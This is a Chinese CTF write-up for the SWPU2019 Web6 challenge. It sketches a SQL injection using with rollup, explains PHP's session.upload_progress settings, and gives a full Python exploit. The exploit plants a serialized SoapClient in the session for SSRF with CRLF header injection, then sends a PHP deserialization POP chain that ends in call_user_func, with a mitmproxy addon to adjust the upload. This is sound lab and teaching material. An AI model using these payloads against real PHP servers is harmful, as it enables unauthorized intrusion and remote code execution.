刷题记录:[SWPU2019]Web6
题目复现链接:https://buuoj.cn/challenges
参考链接:第十届SWPUCTFwriteup
sql注入中的with rollup
猜测源码为
$sql="select * from users where username='$name' and passwd='$pass'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['passwd'] == $_POST['passwd']) {
利用session.upload_progress
进行文件包含和反序列化渗透
参考利用session.upload_progress进行文件包含和反序列化渗透
php版本>5.4
在php.ini有以下几个默认选项
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
其实这里,我们只需要了解前四个配置选项即可,嘿嘿嘿,下面依次讲解。
enabled=on
表示upload_progress
功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on
表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
name
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix+name
将表示为session中的键名
此时只要像这样随便对哪个页面上传文件,PHP_SESSION_UPLOAD_PROGRESS
的内容就会被写到对应的session文件中,接着用SoapClient进行SSRF就可以了
我踩了两个坑花了很多时间:
1、在php里面serialize之后一定要urlencode,不然粘贴复制的话很容易丢失一些不可见字符
2、requests库post方法的files参数上传的文件好像一定会加上filename
,但是PHP_SESSION_UPLOAD_PROGRESS
这一项是不可以加filename
的,可能也是这个原因,wp都是弄个表单+burp完成的,我直接用python写exp还要配合mitmproxy。。
import requests
from urllib import parse
url = "http://3ae1f181-437b-4591-aca7-3003ded4f23a.node3.buuoj.cn/"
cookies = {
"PHPSESSID": "ppp"
}
proxies = {
"http": "http://127.0.0.1:8080"
}
payload = parse.unquote("|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A30%3A%22http%3A%2F%2F127.0.0.1%2Finterface.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A60%3A%22wupco%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+user%3DxZmdm9NxaQ%3D%3D%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D")
files = {
'PHP_SESSION_UPLOAD_PROGRESS': ('aaa', payload),
'file': ('1.txt', 'a'*1000)
}
requests.post(url + "se.php", cookies=cookies, files=files, proxies=proxies)
payload2 = """O:2:"bb":2:{s:4:"mod1";O:2:"aa":2:{s:4:"mod1";N;s:4:"mod2";a:1:{s:5:"test2";O:2:"cc":3:{s:4:"mod1";O:2:"ee":2:{s:4:"str1";O:2:"dd":3:{s:4:"name";N;s:4:"flag";s:8:"Get_flag";s:1:"b";s:14:"call_user_func";}s:4:"str2";s:7:"getflag";}s:4:"mod2";N;s:4:"mod3";N;}}}s:4:"mod2";N;}"""
data = {
"aa": payload2
}
response = requests.post(url + "se.php", data=data, cookies=cookies, proxies=proxies)
print(response.text)
from mitmproxy import http
from mitmproxy import ctx
class mod_request:
def request(self, flow) -> None:
flow.request.replace(' filename="aaa"', '')
ctx.log.info(flow.request.get_text())
addons = [
mod_request()
]